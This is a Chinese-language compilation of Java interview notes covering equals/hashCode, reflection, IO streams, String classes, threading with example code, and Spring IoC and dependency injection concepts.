情况2:类覆盖了 equals() 方法。一般,我们都覆盖 equals() 方法来两个对象的内容相等;若它们的内容相等,则返回 true (即,认为这两个对象相等)。
说明:
String中的equals方法是被重写过的,因为object的equals方法是比较的对象的内存地址,而String的equals方法比较的是对象的值。
当创建String类型的对象时,虚拟机会在常量池中查找有没有已经存在的值和要创建的值相同的对象,如果有就把它赋给当前引用。如果没有就在常量池中重新创建一个String对象。
(1) HashSet如何检查重复
两个对象的 hashCode() 相同,则 equals() 也一定为 true,对吗?
(2) hashCode和equals方法的关系
面试官可能会问你:“你重写过 hashcode 和 equals 么,为什么重写equals时必须重写hashCode方法?”
hashCode()介绍
(3) hashCode() 的作用
获取哈希码,也称为散列码;它实际上是返回一个int整数。这个哈希码的作用是确定该对象在哈希表中的索引位置。hashCode() 定义在JDK的Object.java中,这就意味着Java中的任何类都包含有hashCode()函数。
散列表存储的是键值对(key-value),它的特点是:能根据“键”快速的检索出对应的“值”。这其中就利用到了散列码!(可以快速找到所需要的对象)
JAVA反射机制是在运行状态中,对于任意一个类,都能够知道这个类的所有属性和方法;对于任意一个对象,都能够调用它的任意一个方法和属性;这种动态获取的信息以及动态调用对象的方法的功能称为java语言的反射机制。
静态编译和动态编译
**静态编译:**在编译时确定类型,绑定对象
**动态编译:**运行时确定类型,绑定对象
优点: 运行期类型的判断,动态加载类,提高代码灵活度。
缺点: 性能瓶颈:反射相当于一系列解释操作,通知 JVM 要做的事情,性能比直接的java代码要慢很多。
Java反射指的是在运行状态中对任意一个类,都能够知道这个类的所有属性和方法;对于任意一个的对象,都能调用它的任意一个方法和属性;这种动态获取的信息以及动态调用对象的方法的功能称为Java反射;
Java反射使用的场景:在Java编码时知道类和对象的具体信息,此时直接对类和对象进行操作即可;在Java编码时不知道类和对象的具体信息时,此时使用Java反射来获取
按照操作单元划分,可以划分为字节流和字符流;
Java Io流共涉及40多个类,这些类看上去很杂乱,但实际上很有规则,而且彼此之间存在非常紧密的联系, Java I0流的40多个类都是从如下4个抽象类基类中派生出来的。
InputStream/Reader: 所有的输入流的基类,前者是字节输入流,后者是字符输入流。
OutputStream/Writer: 所有输出流的基类,前者是字节输出流,后者是字符输出流。
按数据流的方向:输入流、输出流
按处理数据单位:字节流、字符流
按功能:节点流、处理流
输入流与输出流
输入与输出是相对于应用程序而言的,比如文件读写,读取文件是输入流,写文件是输出流,这点很容易搞反。
字节流与字符流
字节流和字符流的用法几乎完成全一样,区别在于字节流和字符流所操作的数据单元不同,字节流操作的单元是数据单元是8位的字节,字符流操作的是数据单元为16位的字符。
字节流和字符流的其他区别:
字节流一般用来处理图像、视频、音频、PPT、Word等类型的文件。字符流一般用于处理纯文本类型的文件,如TXT文件等,但不能处理图像视频等非文本文件。用一句话说就是:字节流可以处理一切文件,而字符流只能处理纯文本文件。
字节流本身没有缓冲区,缓冲字节流相对于字节流,效率提升非常高。而字符流本身就带有缓冲区,缓冲字符流相对于字符流效率提升就不是那么大了。详见文末效率对比。
节点流和处理流
节点流:直接操作数据读写的流类,比如FileInputStream
处理流:对一个已存在的流的链接和封装,通过对数据进行处理为程序提供功能强大、灵活的读写功能,例如BufferedInputStream(缓冲字节流)
按操作方式分类结构图:
按操作对象分类结构图:
BIO:Block IO 同步阻塞式 IO,就是我们平常使用的传统 IO,它的特点是模式简单使用方便,并发处理能力低。
NIO:Non IO 同步非阻塞 IO,是传统 IO 的升级,客户端和服务器端通过 Channel(通道)通讯,实现了多路复用。
AIO:Asynchronous IO 是 NIO 的升级,也叫 NIO2,实现了异步非堵塞 IO ,异步 IO 的操作基于事件和回调机制。
详细分析
BIO (Blocking I/O): 同步阻塞I/O模式,数据的读取写入必须阻塞在一个线程内等待其完成。在活动连接数不是特别高(小于单机1000)的情况下,这种模型是比较不错的,可以让每一个连接专注于自己的 I/O 并且编程模型简单,也不用过多考虑系统的过载、限流等问题。线程池本身就是一个天然的漏斗,可以缓冲一些系统处理不了的连接或请求。但是,当面对十万甚至百万级连接的时候,传统的 BIO 模型是无能为力的。因此,我们需要一种更高效的 I/O 处理模型来应对更高的并发量。
NIO (New I/O): NIO是一种同步非阻塞的I/O模型,在Java 1.4 中引入了NIO框架,对应 java.nio 包,提供了 Channel , Selector,Buffer等抽象。NIO中的N可以理解为Non-blocking,不单纯是New。它支持面向缓冲的,基于通道的I/O操作方法。 NIO提供了与传统BIO模型中的 Socket 和 ServerSocket 相对应的 SocketChannel 和 ServerSocketChannel 两种不同的套接字通道实现,两种通道都支持阻塞和非阻塞两种模式。阻塞模式使用就像传统中的支持一样,比较简单,但是性能和可靠性都不好;非阻塞模式正好与之相反。对于低负载、低并发的应用程序,可以使用同步阻塞I/O来提升开发速率和更好的维护性;对于高负载、高并发的(网络)应用,应使用 NIO 的非阻塞模式来开发
AIO (Asynchronous I/O): AIO 也就是 NIO 2。在 Java 7 中引入了 NIO 的改进版 NIO 2,它是异步非阻塞的IO模型。异步 IO 是基于事件和回调机制实现的,也就是应用操作之后会直接返回,不会堵塞在那里,当后台处理完成,操作系统会通知相应的线程进行后续的操作。AIO 是异步IO的缩写,虽然 NIO 在网络操作中,提供了非阻塞的方法,但是 NIO 的 IO 行为还是同步的。对于 NIO 来说,我们的业务线程是在 IO 操作准备好时,得到通知,接着就由这个线程自行进行 IO 操作,IO操作本身是同步的。查阅网上相关资料,我发现就目前来说 AIO 的应用还不是很广泛,Netty 之前也尝试使用过 AIO,不过又放弃了。
Files. exists():检测文件路径是否存在。
Files. createFile():创建文件。 从
Files. createDirectory():创建文件夹。
Files. delete():删除一个文件或目录。
Files. copy():复制文件。
Files. move():移动文件。
Files. size():查看文件个数。
Files. read():读取文件。
Files. write():写入文件。
形式上: 字符常量是单引号引起的一个字符 字符串常量是双引号引起的若干个字符
含义上: 字符常量相当于一个整形值(ASCII值),可以参加表达式运算 字符串常量代表一个地址值(该字符串在内存中存放位置)
占内存大小 字符常量只占一个字节 字符串常量占若干个字节(至少一个字符结束标志)
字符串常量池位于堆内存中,专门用来存储字符串常量,可以提高内存的使用率,避免开辟多块空间存储相同的字符串,在创建字符串时 JVM 会首先检查字符串常量池,如果该字符串已经存在池中,则返回它的引用,如果不存在,则实例化一个字符串放到池中,并返回其引用。
不是。Java 中的基本数据类型只有 8 个 :byte、short、int、long、float、double、char、boolean;除了基本类型(primitive type),剩下的都是引用类型(referencetype),Java 5 以后引入的枚举类型也算是一种比较特殊的引用类型。
这是很基础的东西,但是很多初学者却容易忽视,Java 的 8 种基本数据类型中不包括 String,基本数据类型中用来描述文本数据的是 char,但是它只能表示单个字符,比如 ‘a’,‘好’ 之类的,如果要描述一段文本,就需要用多个 char 类型的变量,也就是一个 char 类型数组,比如“你好” 就是长度为2的数组 char[] chars = {‘你’,‘好’};
但是使用数组过于麻烦,所以就有了 String,String 底层就是一个 char 类型的数组,只是使用的时候开发者不需要直接操作底层数组,用更加简便的方式即可完成对字符串的使用。
不变性:String 是只读字符串,是一个典型的 immutable 对象,对它进行任何操作,其实都是创建一个新的对象,再把引用指向该对象。不变模式的主要作用在于当一个对象需要被多线程共享并频繁访问时,可以保证数据的一致性。
常量池优化:String 对象创建之后,会在字符串常量池中进行缓存,如果下次创建同样的对象时,会直接返回缓存的引用。
final:使用 final 来定义 String 类,表示 String 类不能被继承,提高了系统的安全性。
简单来说就是String类利用了final修饰的char类型数组存储字符,源码如下所示:
/** The value is used for character storage. */
private final char value[];
String类被final修饰,不可被继承!
使用 StringBuilder 或者 stringBuffer 的 reverse() 方法。
数组没有 length()方法 ,有 length 的属性。String 有 length()方法。JavaScript中,获得字符串的长度是通过 length 属性得到的,这一点容易和 Java 混淆。
indexOf():返回指定字符的索引。
charAt():返回指定索引处的字符。
replace():字符串替换。
trim():去除字符串两端空白。
split():分割字符串,返回一个分割后的字符串数组。
getBytes():返回字符串的 byte 类型数组。
length():返回字符串长度。
toLowerCase():将字符串转成小写字母。
toUpperCase():将字符串转成大写字符。
substring():截取字符串。
equals():字符串比较。
HashMap 内部实现是通过 key 的 hashcode 来确定 value 的存储位置,因为字符串是不可变的,所以当创建字符串时,它的 hashcode 被缓存下来,不需要再次计算,所以相比于其他对象更快。
String为什么是不可变的?
String类中使用字符数组保存字符串,private final char value[],所以string对象是不可变的。StringBuilder与StringBuffer都继承自AbstractStringBuilder类,在AbstractStringBuilder中也是使用字符数组保存字符串,char[] value,这两种对象都是可变的。
String中的对象是不可变的,也就可以理解为常量,线程安全。AbstractStringBuilder是StringBuilder与StringBuffer的公共父类,定义了一些字符串的基本操作,如expandCapacity、append、insert、indexOf等公共方法。StringBuffer对方法加了同步锁或者对调用的方法加了同步锁,所以是线程安全的。StringBuilder并没有对方法进行加同步锁,所以是非线程安全的。
每次对String 类型进行改变的时候,都会生成一个新的String对象,然后将指针指向新的String 对象。StringBuffer每次都会对StringBuffer对象本身进行操作,而不是生成新的对象并改变对象引用。相同情况下使用StirngBuilder 相比使用StringBuffer 仅能获得10%~15% 左右的性能提升,但却要冒多线程不安全的风险。
对于三者使用的总结
如果要操作少量的数据用 = String
单线程操作字符串缓冲区 下操作大量数据 = StringBuilder
多线程操作字符串缓冲区 下操作大量数据 = StringBuffer
1、mvn compile 编译,将Java 源程序编译成 class 字节码文件。
2、mvn test 测试,并生成测试报告
3、mvn clean 将以前编译得到的旧的 class 字节码文件删除
4、mvn pakage 打包,动态 web工程打 war包,Java工程打 jar 包。
5、mvn install 将项目生成 jar 包放在仓库中,以便别的模块调用
6、mvn clean install -Dmaven.test.skip=true 抛弃测试用例打包
Java程序设计语言对对象采用的不是引用调用,实际上,对象引用是按值传递的。
下面再总结一下Java中方法参数的使用情况:
一个方法不能修改一个基本数据类型的参数(即数值型或布尔型》
一个方法可以改变一个对象参数的状态。
一个方法不能让对象参数引用一个新的对象。
**值传递:**指的是在方法调用时,传递的参数是按值的拷贝传递,传递的是值的拷贝,也就是说传递后就互不相关了。
**引用传递:**指的是在方法调用时,传递的参数是按引用进行传递,其实传递的引用的地址,也就是变量所对应的内存空间的地址。传递的是值的引用,也就是说传递前和传递后都指向同一个引用(也就是同一个内存空间)。
**java.lang:**这个是系统的基础类;
**java.io:**这里面是所有输入输出有关的类,比如文件操作等;
**java.nio:**为了完善 io 包中的功能,提高 io 包中性能而写的一个新包;
**java.net:**这里面是与网络有关的类;
**java.util:**这个是系统辅助类,特别是集合类;
**java.sql:**这个是数据库操作的类。
刚开始的时候 JavaAPI 所必需的包是 java 开头的包,javax 当时只是扩展 API 包来说使用。然而随着时间的推移,javax 逐渐的扩展成为 Java API 的组成部分。但是,将扩展从 javax 包移动到 java 包将是太麻烦了,最终会破坏一堆现有的代码。因此,最终决定 javax 包将成为标准API的一部分。
所以,实际上java和javax没有区别。这都是一个名字。
参考文章: 【多线程高并发编程】二 实现多线程的几种方式
通俗的解释一下多线程先:
多线程用于堆积处理,就像一个大土堆,一个推土机很慢,那么10个推土机一起来处理,当然速度就快了,不过由于位置的限制,如果20个推土机,那么推土机之间会产生相互的避让,相互摩擦,相互拥挤,反而不如10个处理的好,所以,多线程处理,线程数要开的恰当,就可以提高效率。
多线程使用的目的:
1、吞吐量:做WEB,容器帮你做了多线程,但是它只能帮你做请求层面的,简单的说,就是一个请求一个线程(如struts2,是多线程的,每个客户端请求创建一个实例,保证线程安全),或多个请求一个线程,如果是单线程,那只能是处理一个用户的请求。
2、伸缩性:通过增加CPU核数来提升性能。
多线程的使用场景:
1、常见的浏览器、Web服务(现在写的web是中间件帮你完成了线程的控制),web处理请求,各种专用服务器(如游戏服务器)
2、servlet多线程
3、FTP下载,多线程操作文件
4、数据库用到的多线程
5、分布式计算
6、tomcat,tomcat内部采用多线程,上百个客户端访问同一个WEB应用,tomcat接入后就是把后续的处理扔给一个新的线程来处理,这个新的线程最后调用我们的servlet程序,比如doGet或者dpPost方法
7、后台任务:如定时向大量(100W以上)的用户发送邮件;定期更新配置文件、任务调度(如quartz),一些监控用于定期信息采集
8、自动作业处理:比如定期备份日志、定期备份数据库
9、异步处理:如发微博、记录日志
10、页面异步处理:比如大批量数据的核对工作(有10万个手机号码,核对哪些是已有用户)
11、数据库的数据分析(待分析的数据太多),数据迁移
12、多步骤的任务处理,可根据步骤特征选用不同个数和特征的线程来协作处理,多任务的分割,由一个主线程分割给多个线程完成
进程是处于运行过程中的程序,并且具有一定的独立功能,进程是系统进行资源分配和调度的一个独立单位。
线程也被称为轻量级进程,线程是进程的组成部分,一个进程可以拥有多个线程,一个线程必须有一个父进程。线程可以拥有自己的堆栈、自己的程序计数器和自己的局部变量,但不拥有系统资源,它与父进程的其它线程共享该进程所拥有的全部资源。一个线程可以创建和撤销另一个线程,同一个进程中的多个线程之间可以并发执行。
并行指在同一时刻,有多条指令在多个处理器上同时执行;并发指在同一时刻只能有一条指令执行,但多个进程指令被快速轮换执行,使得在宏观上具有多个进程同时执行的效果。
(1)进程之间不能共享内存,但线程之间共享内存却非常容易。
(2)系统创建进程时需要为该进程重新分配系统资源,但创建线程代价小得多,因此使用多线程来实现多任务并发比多进程的效率高。
(3)java语言内置了多线程功能支持,而不是单纯地作为底层操作系统的调度方式,从而简化了java的多线程编程。
分时调度:
所有线程轮流使用 CPU 的使用权,平均分配每个线程占用 CPU 的时间。
抢占式调度:
优先让优先级高的线程使用 CPU,如果线程的优先级相同,那么会随机选择一个(线程随机性),Java使用的为抢占式调度。
jvm启动后,必然有一个执行路径(线程)从main方法开始的,一直执行到main方法结束,这个线程在java中称之为主线程。当程序的主线程执行时,如果遇到了循环而导致程序在指定位置停留时间过长,则无法马上执行下面的程序,需要等待循环结束后能够执行。
Java使用Thread类代表线程,所有的线程对象都必须是Thread类或其子类的实例。每个线程的作用是完成一定的任务,实际上就是执行一段程序流。Java使用县城执行体来表示这段流。
(1)定义Thread类的子类,并重写该类的run方法,该run方法的方法体就代表了线程要完成的任务。因此把run()方法称为执行体。
(2)创建Thread子类的实例,即创建了线程对象。
(3)调用线程对象的start()方法来启动该线程。
示例代码:
package com.thread;
public class FirstThreadTest extends Thread{
int i = 0;
//重写run方法,run方法的方法体就是现场执行体
public void run(){
for(;i<100;i++){
System.out.println(getName()+" "+i);
}
}
public static void main(String[] args){
for(int i = 0;i< 100;i++){
System.out.println(Thread.currentThread().getName()+" : "+i);
if(i==20){
new FirstThreadTest().start();
new FirstThreadTest().start();
}
}
}
}
(1)定义runnable接口的实现类,并重写该接口的run()方法,该run()方法的方法体同样是该线程的线程执行体。
(2)创建 Runnable实现类的实例,并依此实例作为Thread的target来创建Thread对象,该Thread对象才是真正的线程对象。
(3)调用线程对象的start()方法来启动该线程。
示例代码:
public class RunnableThreadTest implements Runnable{
private int i;
public void run() {
for(i = 0;i <100;i++){
System.out.println(Thread.currentThread().getName()+" "+i);
}
}
public static void main(String[] args){
for(int i = 0;i < 100;i++) {
System.out.println(Thread.currentThread().getName()+" "+i);
if(i==20) {
RunnableThreadTest rtt = new RunnableThreadTest();
new Thread(rtt,"新线程1").start();
new Thread(rtt,"新线程2").start();
}
}
}
}
通过Callable和Future创建线程
(1)创建Callable接口的实现类,并实现**call()方法,该call()**方法将作为线程执行体,并且有返回值。
(2)创建Callable实现类的实例,使用FutureTask类来包装Callable对象,该FutureTask对象封装了该Callable对象的**call()**方法的返回值。
(3)使用FutureTask对象作为Thread对象的target创建并启动新线程。
(4)调用FutureTask对象的get()方法来获得子线程执行结束后的返回值
实例代码:
package com.thread;
import java.util.concurrent.Callable;
import java.util.concurrent.ExecutionException;
import java.util.concurrent.FutureTask;
public class CallableThreadTest implements Callable<Integer> {
public static void main(String[] args) {
CallableThreadTest ctt = new CallableThreadTest();
FutureTask<Integer> ft = new FutureTask<>(ctt);
for (int i = 0; i < 100; i++) {
System.out.println(Thread.currentThread().getName() + " 的循环变量i的值" + i);
if (i == 20) {
new Thread(ft, "有返回值的线程").start();
}
}
try {
System.out.println("子线程的返回值:" + ft.get());
} catch (InterruptedException e) {
e.printStackTrace();
} catch (ExecutionException e) {
e.printStackTrace();
}
}
@Override
public Integer call() throws Exception {
int i = 0;
for (; i < 100; i++) {
System.out.println(Thread.currentThread().getName() + " " + i);
}
return i;
}
}
创建线程的三种方式的对比
就像生物从出生到长大、最终死亡的过程一样,线程也有自己的生命周期,在 Java 中线程的生命周期中一共有 6 种状态。
New(新创建)
Runnable(可运行)
Blocked(被阻塞)
Waiting(等待)
Timed Waiting(计时等待)
Terminated(被终止)
如果想要确定线程当前的状态,可以通过 getState() 方法,并且线程在任何时刻只可能处于 1 种状态。
运行状态可能会有阻塞:
什么是spring?
Spring是一个轻量级Java开发框架,最早有Rod Johnson创建,目的是为了解决企业级应用开发的业务逻辑层和其他各层的耦合问题。它是一个分层的JavaSE/JavaEE full-stack(一站式)轻量级开源框架,为开发Java应用程序提供全面的基础架构支持。Spring负责基础架构,因此Java开发者可以专注于应用程序的开发。
Spring最根本的使命是解决企业级应用开发的复杂性,即简化Java开发。
Spring可以做很多事情,它为企业级开发提供给了丰富的功能,但是这些功能的底层都依赖于它的两个核心特性,也就是依赖注入(dependency injection,DI)和面向切面编程(aspect-oriented programming,AOP)。
为了降低Java开发的复杂性,Spring采取了以下4种关键策略
基于POJO的轻量级和最小侵入性编程;
通过依赖注入和面向接口实现松耦合;
基于切面和惯例进行声明式编程;
通过切面和模板减少样板式代码。
Spring框架的设计目标,设计理念,和核心是什么
Spring设计目标:Spring为开发者提供一个一站式轻量级应用开发平台;
Spring设计理念:在JavaEE开发中,支持POJO和JavaBean开发方式,使应用面向接口开发,充分支持OO(面向对象)设计方法;Spring通过IoC容器实现对象耦合关系的管理,并实现依赖反转,将对象之间的依赖关系交给IoC容器,实现解耦;
Spring框架的核心:IoC容器和AOP模块。通过IoC容器管理POJO对象以及他们之间的耦合关系;通过AOP以动态非侵入的方式增强服务。
IoC让相互协作的组件保持松散的耦合,而AOP编程允许你把遍布于应用各层的功能分离出来形成可重用的功能组件。
参考一下文章:
优点
方便解耦,简化开发
Spring就是一个大工厂,可以将所有对象的创建和依赖关系的维护,交给Spring管理。
AOP编程的支持
Spring提供面向切面编程,可以方便的实现对程序进行权限拦截、运行监控等功能。
声明式事务的支持
只需要通过配置就可以完成对事务的管理,而无需手动编程。
方便程序的测试
Spring对Junit4支持,可以通过注解方便的测试Spring程序。
方便集成各种优秀框架
Spring不排斥各种优秀的开源框架,其内部提供了对各种优秀框架的直接支持(如:Struts、Hibernate、MyBatis等)。
降低JavaEE API的使用难度
Spring对JavaEE开发中非常难用的一些API(JDBC、JavaMail、远程调用等),都提供了封装,使这些API应用难度大大降低。
缺点
Spring明明一个很轻量级的框架,却给人感觉大而全
Spring依赖反射,反射影响性能
使用门槛升高,入门Spring需要较长时间
Spring有哪些应用场景
应用场景:JavaEE企业应用开发,包括SSH、SSM等
Spring价值:
Spring是非侵入式的框架,目标是使应用程序代码对框架依赖最小化;
Spring提供一个一致的编程模型,使应用直接使用POJO开发,与运行环境隔离开来;
Spring推动应用设计风格向面向对象和面向接口开发转变,提高了代码的重用性和可测试性;
Spring由哪些模块组成?
Spring 总共大约有 20 个模块, 由 1300 多个不同的文件构成。 而这些组件被分别整合在核心容器(Core Container) 、 AOP(Aspect Oriented Programming)和设备支持(Instrmentation) 、数据访问与集成(Data Access/Integeration) 、 Web、 消息(Messaging) 、 Test等 6 个模块中。 以下是 Spring 5 的模块结构图:
spring core:提供了框架的基本组成部分,包括控制反转(Inversion of Control,IOC)和依赖注入(Dependency Injection,DI)功能。
spring beans:提供了BeanFactory,是工厂模式的一个经典实现,Spring将管理对象称为Bean。
spring context:构建于 core 封装包基础上的 context 封装包,提供了一种框架式的对象访问方法。
spring jdbc:提供了一个JDBC的抽象层,消除了烦琐的JDBC编码和数据库厂商特有的错误代码解析, 用于简化JDBC。
spring aop:提供了面向切面的编程实现,让你可以自定义拦截器、切点等。
spring Web:提供了针对 Web 开发的集成特性,例如文件上传,利用 servlet listeners 进行 ioc 容器初始化和针对 Web 的 ApplicationContext。
spring test:主要为测试提供支持的,支持使用JUnit或TestNG对Spring组件进行单元测试和集成测试。
工厂模式:BeanFactory就是简单工厂模式的体现,用来创建对象的实例;
**单例模式:**Bean默认为单例模式。
代理模式:Spring的AOP功能用到了JDK的动态代理和CGLIB字节码生成技术;
模板方法:用来解决代码重复的问题。比如. RestTemplate, JmsTemplate, JpaTemplate。
观察者模式:定义对象键一种一对多的依赖关系,当一个对象的状态发生改变时,所有依赖于它的对象都会得到通知被制动更新,如Spring中listener的实现–ApplicationListener。
详细讲解一下核心容器(spring context应用上下文) 模块
这是基本的Spring模块,提供spring 框架的基础功能,BeanFactory 是 任何以spring为基础的应用的核心。Spring 框架建立在此模块之上,它使Spring成为一个容器。
Bean 工厂是工厂模式的一个实现,提供了控制反转功能,用来把应用的配置和依赖从真正的应用代码中分离。最常用的就是org.springframework.beans.factory.xml.XmlBeanFactory ,它根据XML文件中的定义加载beans。该容器从XML 文件读取配置元数据并用它去创建一个完全配置的系统或应用。
Spring框架中有哪些不同类型的事件
Spring 提供了以下5种标准的事件:
上下文更新事件(ContextRefreshedEvent):在调用ConfigurableApplicationContext 接口中的refresh()方法时被触发。
上下文开始事件(ContextStartedEvent):当容器调用ConfigurableApplicationContext的Start()方法开始/重新开始容器时触发该事件。
上下文停止事件(ContextStoppedEvent):当容器调用ConfigurableApplicationContext的Stop()方法停止容器时触发该事件。
上下文关闭事件(ContextClosedEvent):当ApplicationContext被关闭时触发该事件。容器被关闭时,其管理的所有单例Bean都被销毁。
请求处理事件(RequestHandledEvent):在Web应用中,当一个http请求(request)结束触发该事件。如果一个bean实现了ApplicationListener接口,当一个ApplicationEvent 被发布以后,bean会自动被通知。
Spring 应用一般有以下组件:
接口 - 定义功能。
Bean 类 - 它包含属性,setter 和 getter 方法,函数等。
Bean 配置文件 - 包含类的信息以及如何配置它们。
Spring 面向切面编程(AOP) - 提供面向切面编程的功能。
用户程序 - 它使用接口。
作为一个成熟的 Spring Web 应用程序。
作为第三方 Web 框架,使用 Spring Frameworks 中间层。
作为企业级 Java Bean,它可以包装现有的 POJO(Plain Old Java Objects)。
用于远程使用。
控制反转即IoC (Inversion of Control),它把传统上由程序代码直接操控的对象的调用权交给容器,通过容器来实现对象组件的装配和管理。所谓的“控制反转”概念就是对组件对象控制权的转移,从程序代码本身转移到了外部容器。
Spring IOC 负责创建对象,管理对象(通过依赖注入(DI),装配对象,配置对象,并且管理这些对象的整个生命周期。
管理对象的创建和依赖关系的维护。对象的创建并不是一件简单的事,在对象关系比较复杂时,如果依赖关系需要程序猿来维护的话,那是相当头疼的
解耦,由容器去维护具体的对象
托管了类的产生过程,比如我们需要在类的产生过程中做一些处理,最直接的例子就是代理,如果有容器程序可以把这部分处理交给容器,应用程序则无需去关心类是如何完成代理的
IOC 或 依赖注入把应用的代码量降到最低。
它使应用容易测试,单元测试不再需要单例和JNDI查找机制。
最小的代价和最小的侵入性使松散耦合得以实现。
IOC容器支持加载服务时的饿汉式初始化和懒加载。
Spring IoC 的实现机制
Spring 中的 IoC 的实现原理就是工厂模式加反射机制。
interface Fruit {
public abstract void eat();
}
class Apple implements Fruit {
public void eat(){
System.out.println("Apple");
}
}
class Orange implements Fruit {
public void eat(){
System.out.println("Orange");
}
}
class Factory {
public static Fruit getInstance(String ClassName) {
Fruit f=null;
try {
f=(Fruit)Class.forName(ClassName).newInstance();
} catch (Exception e) {
e.printStackTrace();
}
return f;
}
}
class Client {
public static void main(String[] a) {
Fruit f=Factory.getInstance("io.github.dunwu.spring.Apple");
if(f!=null){
f.eat();
}
}
}
依赖注入
依赖检查
自动装配
支持集合
指定初始化方法和销毁方法
支持回调某些方法(但是需要实现 Spring 接口,略有侵入)
其中,最重要的就是依赖注入,从 XML 的配置上说,即 ref 标签。对应 Spring RuntimeBeanReference 对象。
对于 IoC 来说,最重要的就是容器。容器管理着 Bean 的生命周期,控制着 Bean 的依赖注入。
BeanFactory和ApplicationContext是Spring的两大核心接口,都可以当做Spring的容器。其中ApplicationContext是BeanFactory的子接口。
依赖关系
BeanFactory:是Spring里面最底层的接口,包含了各种Bean的定义,读取bean配置文档,管理bean的加载、实例化,控制bean的生命周期,维护bean之间的依赖关系。
ApplicationContext接口作为BeanFactory的派生,除了提供BeanFactory所具有的功能外,还提供了更完整的框架功能:
继承MessageSource,因此支持国际化。
统一的资源文件访问方式。
提供在监听器中注册bean的事件。
同时加载多个配置文件。
载入多个(有继承关系)上下文 ,使得每一个上下文都专注于一个特定的层次,比如应用的web层。
加载方式
BeanFactroy采用的是延迟加载形式来注入Bean的,即只有在使用到某个Bean时(调用getBean()),才对该Bean进行加载实例化。这样,我们就不能发现一些存在的Spring的配置问题。如果Bean的某一个属性没有注入,BeanFacotry加载后,直至第一次使用调用getBean方法才会抛出异常。
ApplicationContext,它是在容器启动时,一次性创建了所有的Bean。这样,在容器启动时,我们就可以发现Spring中存在的配置错误,这样有利于检查所依赖属性是否注入。 ApplicationContext启动后预载入所有的单实例Bean,通过预载入单实例bean ,确保当你需要的时候,你就不用等待,因为它们已经创建好了。
相对于基本的BeanFactory,ApplicationContext 唯一的不足是占用内存空间。当应用程序配置Bean较多时,程序启动较慢。
创建方式
BeanFactory通常以编程的方式被创建,ApplicationContext还能以声明的方式创建,如使用ContextLoader。
注册方式
BeanFactory和ApplicationContext都支持BeanPostProcessor、BeanFactoryPostProcessor的使用,但两者之间的区别是:BeanFactory需要手动注册,而ApplicationContext则是自动注册。
Spring 如何设计容器的,BeanFactory和ApplicationContext的关系详解
Spring 作者 Rod Johnson 设计了两个接口用以表示容器。
BeanFactory
ApplicationContext
BeanFactory 简单粗暴,可以理解为就是个 HashMap,Key 是 BeanName,Value 是 Bean 实例。通常只提供注册(put),获取(get)这两个功能。我们可以称之为 “低级容器”。
ApplicationContext 可以称之为 “高级容器”。因为他比 BeanFactory 多了更多的功能。他继承了多个接口。因此具备了更多的功能。例如资源的获取,支持多种消息(例如 JSP tag 的支持),对 BeanFactory 多了工具级别的支持等待。所以你看他的名字,已经不是 BeanFactory 之类的工厂了,而是 “应用上下文”, 代表着整个大容器的所有功能。该接口定义了一个 refresh 方法,此方法是所有阅读 Spring 源码的人的最熟悉的方法,用于刷新整个容器,即重新加载/刷新所有的 bean。
当然,除了这两个大接口,还有其他的辅助接口,这里就不介绍他们了。
BeanFactory和ApplicationContext的关系
为了更直观的展示 “低级容器” 和 “高级容器” 的关系,这里通过常用的 ClassPathXmlApplicationContext 类来展示整个容器的层级 UML 关系。
有点复杂? 先不要慌,我来解释一下。
最上面的是 BeanFactory,下面的 3 个绿色的,都是功能扩展接口,这里就不展开讲。
看下面的隶属 ApplicationContext 粉红色的 “高级容器”,依赖着 “低级容器”,这里说的是依赖,不是继承哦。他依赖着 “低级容器” 的 getBean 功能。而高级容器有更多的功能:支持不同的信息源头,可以访问文件资源,支持应用事件(Observer 模式)。
通常用户看到的就是 “高级容器”。 但 BeanFactory 也非常够用啦!
左边灰色区域的是 “低级容器”, 只负载加载 Bean,获取 Bean。容器其他的高级功能是没有的。例如上图画的 refresh 刷新 Bean 工厂所有配置,生命周期事件回调等。
小结
说了这么多,不知道你有没有理解Spring IoC? 这里小结一下:IoC 在 Spring 里,只需要低级容器就可以实现,2 个步骤:
加载配置文件,解析成 BeanDefinition 放在 Map 里。
调用 getBean 的时候,从 BeanDefinition 所属的 Map 里,拿出 Class 对象进行实例化,同时,如果有依赖关系,将递归调用 getBean 方法 —— 完成依赖注入。
上面就是 Spring 低级容器(BeanFactory)的 IoC。
至于高级容器 ApplicationContext,他包含了低级容器的功能,当他执行 refresh 模板方法的时候,将刷新整个容器的 Bean。同时其作为高级容器,包含了太多的功能。一句话,他不仅仅是 IoC。他支持不同信息源头,支持 BeanFactory 工具类,支持层级容器,支持访问文件资源,支持事件发布通知,支持接口回调等等。
ApplicationContext通常的实现是什么?
FileSystemXmlApplicationContext :此容器从一个XML文件中加载beans的定义,XML Bean 配置文件的全路径名必须提供给它的构造函数。
ClassPathXmlApplicationContext:此容器也从一个XML文件中加载beans的定义,这里,你需要正确设置classpath因为这个容器将在classpath里找bean配置。
WebXmlApplicationContext:此容器加载一个XML文件,此文件定义了一个WEB应用的所有bean。
控制反转IoC是一个很大的概念,可以用不同的方式来实现。其主要实现方式有两种:依赖注入和依赖查找
依赖注入:相对于IoC而言,依赖注入(DI)更加准确地描述了IoC的设计理念。所谓依赖注入(Dependency Injection),即组件之间的依赖关系由容器在应用系统运行期来决定,也就是由容器动态地将某种依赖关系的目标对象实例注入到应用系统中的各个关联的组件之中。组件不做定位查询,只提供普通的Java方法让容器去决定依赖关系。
依赖注入的基本原则是:应用组件不应该负责查找资源或者其他依赖的协作对象。配置对象的工作应该由IoC容器负责,“查找资源”的逻辑应该从应用组件的代码中抽取出来,交给IoC容器负责。容器全权负责组件的装配,它会把符合依赖关系的对象通过属性(JavaBean中的setter)或者是构造器传递给需要的对象。
依赖注入之所以更流行是因为它是一种更可取的方式:让容器全权负责依赖查询,受管组件只需要暴露JavaBean的setter方法或者带参数的构造器或者接口,使容器可以在初始化时组装对象的依赖关系。其与依赖查找方式相比,主要优势为:
不依赖于容器的API,可以很容易地在任何容器以外使用应用对象。
不需要特殊的接口,绝大多数对象可以做到完全不必依赖容器。
有哪些不同类型的依赖注入实现方式?
依赖注入是时下最流行的IoC实现方式,依赖注入分为接口注入(Interface Injection),Setter方法注入(Setter Injection)和构造器注入(Constructor Injection)三种方式。其中接口注入由于在灵活性和易用性比较差,现在从Spring4开始已被废弃。
构造器依赖注入:构造器依赖注入通过容器触发一个类的构造器来实现的,该类有一系列参数,每个参数代表一个对其他类的依赖。
Setter方法注入:Setter方法注入是容器通过调用无参构造器或无参static工厂 方法实例化bean之后,调用该bean的setter方法,即实现了基于setter的依赖注入。
